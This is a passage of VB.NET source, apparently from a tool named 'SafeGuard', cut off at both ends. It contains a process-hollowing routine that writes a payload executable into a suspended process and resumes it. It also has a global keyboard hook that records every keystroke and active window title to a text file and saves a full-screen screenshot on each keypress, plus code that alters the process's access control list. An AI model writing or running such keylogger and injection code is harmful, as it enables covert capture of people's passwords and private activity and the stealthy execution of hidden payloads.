  661. dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H30) 'Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
  662. Else
  663. dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H34) 'Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
  664. End If
  665. If dwImageBase = BaseAddress Then 'COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
  666. If Not NtUnmapViewOfSection(PI.hProcess, BaseAddress) = 0 Then Throw New Exception() 'COMMENT: Unmapping it
  667. End If
  668. Dim dwSizeOfImage As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H50)
  669. Dim dwNewImageBase As Integer = VirtualAllocEx(PI.hProcess, dwImageBase, dwSizeOfImage, &H3000, &H40) 'COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
  670. If dwNewImageBase = 0 Then Throw New Exception()
  671. Dim dwSizeOfHeaders As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H54)
  672. If Not WriteProcessMemory(PI.hProcess, dwNewImageBase, payload, dwSizeOfHeaders, ReadWrite) Then Throw New Exception() 'Writes the size of the payloads PE header to the target
  673. 'COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
  674. Dim SizeOfOptionalHeader As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H14)
  675. Dim SectionOffset As Integer = dwPEHeaderAddress + (&H16 + SizeOfOptionalHeader + &H2)
  676. Dim NumberOfSections As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H6)
  677. For I As Integer = 0 To NumberOfSections - 1
  678. Dim VirtualAddress As Integer = BitConverter.ToInt32(payload, SectionOffset + &HC)
  679. Dim SizeOfRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H10)
  680. Dim PointerToRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H14)
  681. If Not SizeOfRawData = 0 Then
  682. Dim SectionData(SizeOfRawData - 1) As Byte
  683. Buffer.BlockCopy(payload, PointerToRawData, SectionData, 0, SectionData.Length)
  684. If Not WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionData, SectionData.Length, ReadWrite) Then Throw New Exception()
  685. End If
  686. SectionOffset += &H28
  687. Next
  688. Dim PointerData As Byte() = BitConverter.GetBytes(dwNewImageBase)
  689. If TargetIs64 = True Then
  690. If Not WriteProcessMemory(PI.hProcess, PEBAddress64 + &H10, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new etrypoint for 64bit target
  691. Else
  692. If Not WriteProcessMemory(PI.hProcess, PEBAddress32 + &H8, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new entrypoint for 32bit target
  693. End If
  694. If ResumeThread(PI.hThread) = -1 Then Throw New Exception() 'Resumes the suspended target with all its new exciting data
  695. Catch ex As Exception
  696. Dim P As Process = Process.GetProcessById(PI.dwProcessId)
  697. If P IsNot Nothing Then P.Kill()
  698. Return False
  699. End Try
  700. Return True
  701. End Function
  702.  
  703. #End Region
  704.  
  705. #Region "Global Keyboard Hook Injection"
  706.  
  707. Private Shared Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
  708. Using curProcess As Process = Process.GetCurrentProcess()
  709. Return SetWindowsHookEx(WHKEYBOARDLL,
  710. proc,
  711. GetModuleHandle(curProcess.ProcessName & ".exe"),
  712. 0)
  713. Return SetWindowsHookEx(WHKEYBOARDLL,
  714. proc,
  715. GetModuleHandle(curProcess.ProcessName),
  716. 0)
  717. End Using
  718. End Function
  719.  
  720. Private Shared Function HookCallback(nCode As Integer,
  721. wParam As IntPtr,
  722. lParam As IntPtr) As IntPtr
  723. If nCode >= 0 _
  724. AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
  725. Dim capsLock As Boolean = (GetKeyState(&H14) And &HFFFF) <> 0
  726. Dim shiftPress As Boolean = (GetKeyState(&HA0) And &H8000) <> 0 OrElse (GetKeyState(&HA1) And &H8000) <> 0
  727. Dim currentKey As String = KeyboardLayout(Marshal.ReadInt32(lParam))
  728. If capsLock OrElse shiftPress Then
  729. currentKey = currentKey.ToUpper()
  730. 'Added
  731. Dim userName As String = Environment.UserName
  732. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  733. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  734. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  735. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  736. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  737. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  738. Dim gfx As Graphics = Graphics.FromImage(bmp)
  739. ' This line is modified to take everything based on the size of the bitmap
  740. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  741. SystemInformation.VirtualScreen.Y,
  742. 0,
  743. 0,
  744. SystemInformation.VirtualScreen.Size)
  745. ' Oh, create the directory if it doesn't exist
  746. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  747. bmp.Save(captureSavePath)
  748.  
  749. Else
  750. currentKey = currentKey.ToLower()
  751. 'Added
  752. Dim userName As String = Environment.UserName
  753. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  754. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  755. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  756. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  757. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  758. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  759. Dim gfx As Graphics = Graphics.FromImage(bmp)
  760. ' This line is modified to take everything based on the size of the bitmap
  761. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  762. SystemInformation.VirtualScreen.Y,
  763. 0,
  764. 0,
  765. SystemInformation.VirtualScreen.Size)
  766. ' Oh, create the directory if it doesn't exist
  767. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  768. bmp.Save(captureSavePath)
  769.  
  770. End If
  771. If CType(Marshal.ReadInt32(lParam), Keys) >= Keys.F1 _
  772. AndAlso CType(Marshal.ReadInt32(lParam), Keys) <= Keys.F24 Then
  773. currentKey = $"[{CType(Marshal.ReadInt32(lParam), Keys)}]"
  774. 'Added
  775. Dim userName As String = Environment.UserName
  776. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  777. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  778. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  779. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  780. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  781. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  782. Dim gfx As Graphics = Graphics.FromImage(bmp)
  783. ' This line is modified to take everything based on the size of the bitmap
  784. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  785. SystemInformation.VirtualScreen.Y,
  786. 0,
  787. 0,
  788. SystemInformation.VirtualScreen.Size)
  789. ' Oh, create the directory if it doesn't exist
  790. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  791. bmp.Save(captureSavePath)
  792.  
  793. Else
  794. Select Case (CType(Marshal.ReadInt32(lParam), Keys)).ToString()
  795. Case "Space"
  796. currentKey = "[SPACE]"
  797. 'Added
  798. Dim userName As String = Environment.UserName
  799. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  800. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  801. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  802. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  803. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  804. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  805. Dim gfx As Graphics = Graphics.FromImage(bmp)
  806. ' This line is modified to take everything based on the size of the bitmap
  807. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  808. SystemInformation.VirtualScreen.Y,
  809. 0,
  810. 0,
  811. SystemInformation.VirtualScreen.Size)
  812. ' Oh, create the directory if it doesn't exist
  813. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  814. bmp.Save(captureSavePath)
  815.  
  816. Case "Return"
  817. currentKey = "[ENTER]"
  818. 'Added
  819. Dim userName As String = Environment.UserName
  820. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  821. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  822. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  823. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  824. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  825. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  826. Dim gfx As Graphics = Graphics.FromImage(bmp)
  827. ' This line is modified to take everything based on the size of the bitmap
  828. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  829. SystemInformation.VirtualScreen.Y,
  830. 0,
  831. 0,
  832. SystemInformation.VirtualScreen.Size)
  833. ' Oh, create the directory if it doesn't exist
  834. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  835. bmp.Save(captureSavePath)
  836.  
  837. Case "Escape"
  838. currentKey = "[ESC]"
  839. 'Added
  840. Dim userName As String = Environment.UserName
  841. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  842. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  843. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  844. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  845. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  846. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  847. Dim gfx As Graphics = Graphics.FromImage(bmp)
  848. ' This line is modified to take everything based on the size of the bitmap
  849. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  850. SystemInformation.VirtualScreen.Y,
  851. 0,
  852. 0,
  853. SystemInformation.VirtualScreen.Size)
  854. ' Oh, create the directory if it doesn't exist
  855. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  856. bmp.Save(captureSavePath)
  857.  
  858. Case "LControlKey"
  859. currentKey = "[CTRL]"
  860. 'Added
  861. Dim userName As String = Environment.UserName
  862. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  863. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  864. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  865. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  866. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  867. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  868. Dim gfx As Graphics = Graphics.FromImage(bmp)
  869. ' This line is modified to take everything based on the size of the bitmap
  870. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  871. SystemInformation.VirtualScreen.Y,
  872. 0,
  873. 0,
  874. SystemInformation.VirtualScreen.Size)
  875. ' Oh, create the directory if it doesn't exist
  876. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  877. bmp.Save(captureSavePath)
  878.  
  879. Case "RControlKey"
  880. currentKey = "[CTRL]"
  881. 'Added
  882. Dim userName As String = Environment.UserName
  883. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  884. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  885. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  886. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  887. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  888. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  889. Dim gfx As Graphics = Graphics.FromImage(bmp)
  890. ' This line is modified to take everything based on the size of the bitmap
  891. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  892. SystemInformation.VirtualScreen.Y,
  893. 0,
  894. 0,
  895. SystemInformation.VirtualScreen.Size)
  896. ' Oh, create the directory if it doesn't exist
  897. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  898. bmp.Save(captureSavePath)
  899.  
  900. Case "RShiftKey"
  901. currentKey = "[Shift]"
  902. 'Added
  903. Dim userName As String = Environment.UserName
  904. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  905. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  906. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  907. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  908. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  909. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  910. Dim gfx As Graphics = Graphics.FromImage(bmp)
  911. ' This line is modified to take everything based on the size of the bitmap
  912. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  913. SystemInformation.VirtualScreen.Y,
  914. 0,
  915. 0,
  916. SystemInformation.VirtualScreen.Size)
  917. ' Oh, create the directory if it doesn't exist
  918. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  919. bmp.Save(captureSavePath)
  920.  
  921. Case "LShiftKey"
  922. currentKey = "[Shift]"
  923. 'Added
  924. Dim userName As String = Environment.UserName
  925. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  926. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  927. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  928. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  929. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  930. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  931. Dim gfx As Graphics = Graphics.FromImage(bmp)
  932. ' This line is modified to take everything based on the size of the bitmap
  933. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  934. SystemInformation.VirtualScreen.Y,
  935. 0,
  936. 0,
  937. SystemInformation.VirtualScreen.Size)
  938. ' Oh, create the directory if it doesn't exist
  939. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  940. bmp.Save(captureSavePath)
  941.  
  942. Case "Back"
  943. currentKey = "[Back]"
  944. 'Added
  945. Dim userName As String = Environment.UserName
  946. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  947. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  948. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  949. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  950. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  951. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  952. Dim gfx As Graphics = Graphics.FromImage(bmp)
  953. ' This line is modified to take everything based on the size of the bitmap
  954. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  955. SystemInformation.VirtualScreen.Y,
  956. 0,
  957. 0,
  958. SystemInformation.VirtualScreen.Size)
  959. ' Oh, create the directory if it doesn't exist
  960. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  961. bmp.Save(captureSavePath)
  962.  
  963. Case "LWin"
  964. currentKey = "[WIN]"
  965. 'Added
  966. Dim userName As String = Environment.UserName
  967. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  968. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  969. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  970. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  971. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  972. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  973. Dim gfx As Graphics = Graphics.FromImage(bmp)
  974. ' This line is modified to take everything based on the size of the bitmap
  975. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  976. SystemInformation.VirtualScreen.Y,
  977. 0,
  978. 0,
  979. SystemInformation.VirtualScreen.Size)
  980. ' Oh, create the directory if it doesn't exist
  981. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  982. bmp.Save(captureSavePath)
  983.  
  984. Case "Tab"
  985. currentKey = "[Tab]"
  986. 'Added
  987. Dim userName As String = Environment.UserName
  988. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  989. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  990. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  991. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  992. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  993. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  994. Dim gfx As Graphics = Graphics.FromImage(bmp)
  995. ' This line is modified to take everything based on the size of the bitmap
  996. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  997. SystemInformation.VirtualScreen.Y,
  998. 0,
  999. 0,
  1000. SystemInformation.VirtualScreen.Size)
  1001. ' Oh, create the directory if it doesn't exist
  1002. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  1003. bmp.Save(captureSavePath)
  1004.  
  1005. Case "Capital"
  1006. Select Case capsLock
  1007. Case True
  1008. currentKey = "[CAPSLOCK: OFF]"
  1009. 'Added
  1010. Dim userName As String = Environment.UserName
  1011. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  1012. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  1013. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  1014. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  1015. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  1016. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  1017. Dim gfx As Graphics = Graphics.FromImage(bmp)
  1018. ' This line is modified to take everything based on the size of the bitmap
  1019. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  1020. SystemInformation.VirtualScreen.Y,
  1021. 0,
  1022. 0,
  1023. SystemInformation.VirtualScreen.Size)
  1024. ' Oh, create the directory if it doesn't exist
  1025. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  1026. bmp.Save(captureSavePath)
  1027.  
  1028. Case Else
  1029. currentKey = "[CAPSLOCK: ON]"
  1030. 'Added
  1031. Dim userName As String = Environment.UserName
  1032. Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
  1033. Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
  1034. Dim captureSavePath As String = $"{savePath }\SafeGuard\{userName }\capture_{dateString }.png"
  1035. ' This line is modified for multiple screens, also takes into account different screen size (if any)
  1036. Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width),
  1037. Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height))
  1038. Dim gfx As Graphics = Graphics.FromImage(bmp)
  1039. ' This line is modified to take everything based on the size of the bitmap
  1040. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
  1041. SystemInformation.VirtualScreen.Y,
  1042. 0,
  1043. 0,
  1044. SystemInformation.VirtualScreen.Size)
  1045. ' Oh, create the directory if it doesn't exist
  1046. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  1047. bmp.Save(captureSavePath)
  1048.  
  1049. End Select
  1050. End Select
  1051. End If
  1052. On Error GoTo Err
  1053. Dim fileName As String = "C:\Users\justin.ross\Documents\SafeGuard.txt"
  1054. Using writer As New StreamWriter(fileName,
  1055. True)
  1056. If CurrentActiveWindowTitle _
  1057. = GetActiveWindowTitle() Then
  1058. writer.Write(vbCrLf & "SafeGuard Log Entry:")
  1059. writer.Write(currentKey)
  1060. Else
  1061. writer.WriteLine($"{vbNewLine & vbNewLine & Date.Now.ToLongTimeString()} {Date.Now.ToLongDateString()}")
  1062. writer.WriteLine($" :{currentKey}")
  1063. writer.WriteLine(vbCrLf & "-------------------------------")
  1064. writer.Write(currentKey)
  1065. End If
  1066. End Using
  1067. End If
  1068. Return CallNextHookEx(_hookID,
  1069. nCode,
  1070. wParam,
  1071. lParam)
  1072. Err:
  1073. End Function
  1074.  
  1075. Private Shared Function KeyboardLayout(vkCode As UInteger) As String
  1076. Dim processId As UInteger = Nothing
  1077. Try
  1078. Dim sb As New StringBuilder()
  1079. Dim vkBuffer As Byte() = New Byte(255) {}
  1080. If Not GetKeyboardState(vkBuffer) Then Return ""
  1081. Dim scanCode As UInteger = MapVirtualKey(vkCode, 0)
  1082. ToUnicodeEx(vkCode,
  1083. scanCode,
  1084. vkBuffer,
  1085. sb,
  1086. 5,
  1087. 0,
  1088. GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), processId)))
  1089. Return sb.ToString()
  1090. Catch
  1091. End Try
  1092. Return (CType(vkCode, Keys)).ToString()
  1093. End Function
  1094.  
  1095. 'GetActiveWindowTitle: Retrieves the window handle to the active window attached to the calling thread's message.
  1096. Private Shared Function GetActiveWindowTitle() As String
  1097. Dim pid As UInteger = Nothing
  1098. Try
  1099. 'Retrieves a handle to the foreground window (the window with which the user is currently working).
  1100. 'The system assigns a slightly higher priority to the thread that creates the foreground window than it does to other threads.
  1101. Dim hwnd As IntPtr = GetForegroundWindow()
  1102. GetWindowThreadProcessId(hwnd,
  1103. pid)
  1104. Dim p As Process = Process.GetProcessById(pid) 'Every process has an ID # (pid)
  1105. Dim title As String = p.MainWindowTitle
  1106. 'IsNullOrWhiteSpace is a convenience method that is similar to the following code,
  1107. 'except that it offers superior performance:
  1108. If String.IsNullOrWhiteSpace(title) Then title = p.ProcessName
  1109. CurrentActiveWindowTitle = title
  1110. Return title
  1111. Catch __unusedException1__ As Exception
  1112. Return "???"
  1113. End Try
  1114. End Function
  1115.  
  1116. Function GetWindowImage(WindowHandle As IntPtr,
  1117. Area As Rectangle) As Bitmap
  1118. Using b As New Bitmap(Area.Width, Area.Height, Imaging.PixelFormat.Format24bppRgb)
  1119. Using img As Graphics = Graphics.FromImage(b)
  1120. Dim ImageHDC As IntPtr = img.GetHdc
  1121. Using window As Graphics = Graphics.FromHwnd(WindowHandle)
  1122. Dim WindowHDC As IntPtr = window.GetHdc
  1123. BitBlt(ImageHDC,
  1124. 0,
  1125. 0,
  1126. Area.Width,
  1127. Area.Height,
  1128. WindowHDC,
  1129. Area.X,
  1130. Area.Y,
  1131. CopyPixelOperation.SourceCopy)
  1132. window.ReleaseHdc()
  1133. End Using
  1134. img.ReleaseHdc()
  1135. End Using
  1136. Return b
  1137. End Using
  1138. End Function
  1139. #End Region
  1140.  
  1141. #Region "Events | Form Closing"
  1142. Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
  1143.  
  1144. 'Cancel Form Closing
  1145. 'If e.CloseReason = CloseReason.UserClosing Then e.Cancel = True
  1146. End Sub
  1147.  
  1148. #End Region
  1149.  
  1150. #Region "Process Security Descriptor"
  1151. <Obsolete>
  1152. Public Shared Function GetProcessSecurityDescriptor(processHandle As IntPtr) As RawSecurityDescriptor
  1153. On Error GoTo Err
  1154. Const DACL_SECURITY_INFORMATION As Integer = &H4
  1155. Dim psd As Byte() = New Byte(-1) {}
  1156. Dim bufSizeNeeded As UInteger
  1157. GetKernelObjectSecurity(processHandle,
  1158. DACL_SECURITY_INFORMATION,
  1159. psd,
  1160. 0,
  1161. bufSizeNeeded)
  1162. Select Case bufSizeNeeded
  1163. Case Is < 0, Is > Short.MaxValue
  1164. Throw New Win32Exception()
  1165. End Select
  1166. If Not GetKernelObjectSecurity(processHandle,
  1167. DACL_SECURITY_INFORMATION,
  1168. CSharpImpl.Assign(psd, New Byte(bufSizeNeeded - 1) {}),
  1169. bufSizeNeeded,
  1170. bufSizeNeeded) Then Throw New Win32Exception()
  1171. Return New RawSecurityDescriptor(psd, 0)
  1172. Err:
  1173. End Function
  1174.  
  1175. Public Shared Sub SetProcessSecurityDescriptor(processHandle As IntPtr, dacl As RawSecurityDescriptor)
  1176. Const DACL_SECURITY_INFORMATION As Integer = &H4
  1177. Dim rawsd As Byte() = New Byte(dacl.BinaryLength - 1) {}
  1178. dacl.GetBinaryForm(rawsd, 0)
  1179. If Not SetKernelObjectSecurity(processHandle,
  1180. DACL_SECURITY_INFORMATION,
  1181. rawsd) Then Throw New Win32Exception()
  1182. End Sub
  1183.  
  1184. <Obsolete>
  1185. Public Sub New()
  1186. InitializeComponent()
  1187. Dim hProcess As IntPtr = GetCurrentProcess()
  1188. Dim dacl = GetProcessSecurityDescriptor(hProcess)
  1189. dacl.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None,
  1190. AceQualifier.AccessAllowed, 'Change this to AccessDenied for restrictions
  1191. ProcessAccessRights.PROCESS_ALL_ACCESS,
  1192. New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing),
  1193. False,
  1194. Nothing))
  1195. SetProcessSecurityDescriptor(hProcess, dacl)
  1196. End Sub
  1197.  
  1198. #End Region
  1199.  
  1200. #Region "Ram GB Collection"
  1201. Sub ReleaseRAM()
  1202. Try
  1203. GC.Collect()
  1204. GC.WaitForPendingFinalizers()
  1205. If Environment.OSVersion.Platform = PlatformID.Win32NT Then
  1206. SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1)
  1207. End If
  1208. Catch ex As Exception
  1209. MsgBox(ex.ToString())
  1210. End Try
  1211. End Sub
  1212.  
  1213. #End Region
  1214.  
  1215. #Region "Grant Directory Access | Grant Assembly Access"
  1216.  
  1217. Public Shared Function IsReadable([me] As DirectoryInfo) As Boolean
  1218. Dim rules As AuthorizationRuleCollection
  1219. Dim identity As WindowsIdentity
  1220. Try
  1221. rules = [me].GetAccessControl().GetAccessRules(True,
  1222. True,
  1223. GetType(SecurityIdentifier))
  1224. identity = WindowsIdentity.GetCurrent()
  1225. Catch ex As Exception
  1226. Return False
  1227. End Try
  1228. Dim isAllow As Boolean = False
  1229. Dim userSID As String = identity.User.Value
  1230. For Each rule As FileSystemAccessRule In rules
  1231. If rule.IdentityReference.ToString() = userSID _
  1232. OrElse identity.Groups.Contains(rule.IdentityReference) Then
  1233. If (rule.FileSystemRights.HasFlag(FileSystemRights.Read) _
  1234. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadAndExecute) _
  1235. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadAttributes) _
  1236. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadData) _
  1237. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadExtendedAttributes) _
  1238. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadPermissions)) AndAlso rule.AccessControlType = AccessControlType.Deny Then
  1239. Return False
  1240. ElseIf (rule.FileSystemRights.HasFlag(FileSystemRights.Read) _
  1241. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadAndExecute) _
  1242. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadAttributes) _
  1243. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadData) _
  1244. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadExtendedAttributes) _
  1245. OrElse rule.FileSystemRights.HasFlag(FileSystemRights.ReadPermissions)) AndAlso rule.AccessControlType = AccessControlType.Allow Then
  1246. isAllow = True
  1247. End If
  1248. End If
  1249. Next
  1250.  
  1251. Return isAllow
  1252. End Function
  1253.  
  1254. <DebuggerStepThrough>
  1255. Public Function DirectoryHasRights(directoryPath As String,
  1256. rights As FileSystemRights,
  1257. accessControlType As AccessControlType) As Boolean
  1258.  
  1259. Dim acl As AuthorizationRuleCollection =
  1260. New DirectoryInfo(directoryPath).GetAccessControl().GetAccessRules(True, True, GetType(SecurityIdentifier))
  1261.  
  1262. Return InternalHasRights(acl, rights, accessControlType)
  1263.  
  1264. End Function
  1265.  
  1266. <DebuggerStepThrough>
  1267. Private Function InternalHasRights(acl As AuthorizationRuleCollection,
  1268. rights As FileSystemRights,
  1269. access As AccessControlType) As Boolean
  1270.  
  1271. Dim winId As WindowsIdentity = WindowsIdentity.GetCurrent
  1272. Dim winPl As New WindowsPrincipal(winId)
  1273. Dim allow As Boolean = False
  1274. Dim inheritedAllow As Boolean = False
  1275. Dim inheritedDeny As Boolean = False
  1276. For Each rule As FileSystemAccessRule In acl
  1277. ' If the current rule applies to the current user then...
  1278. If winId.User.Equals(rule.IdentityReference) OrElse
  1279. winPl.IsInRole(DirectCast(rule.IdentityReference, SecurityIdentifier)) Then
  1280. If rule.AccessControlType.Equals(AccessControlType.Deny) AndAlso
  1281. ((rule.FileSystemRights And rights) _
  1282. = rights) Then
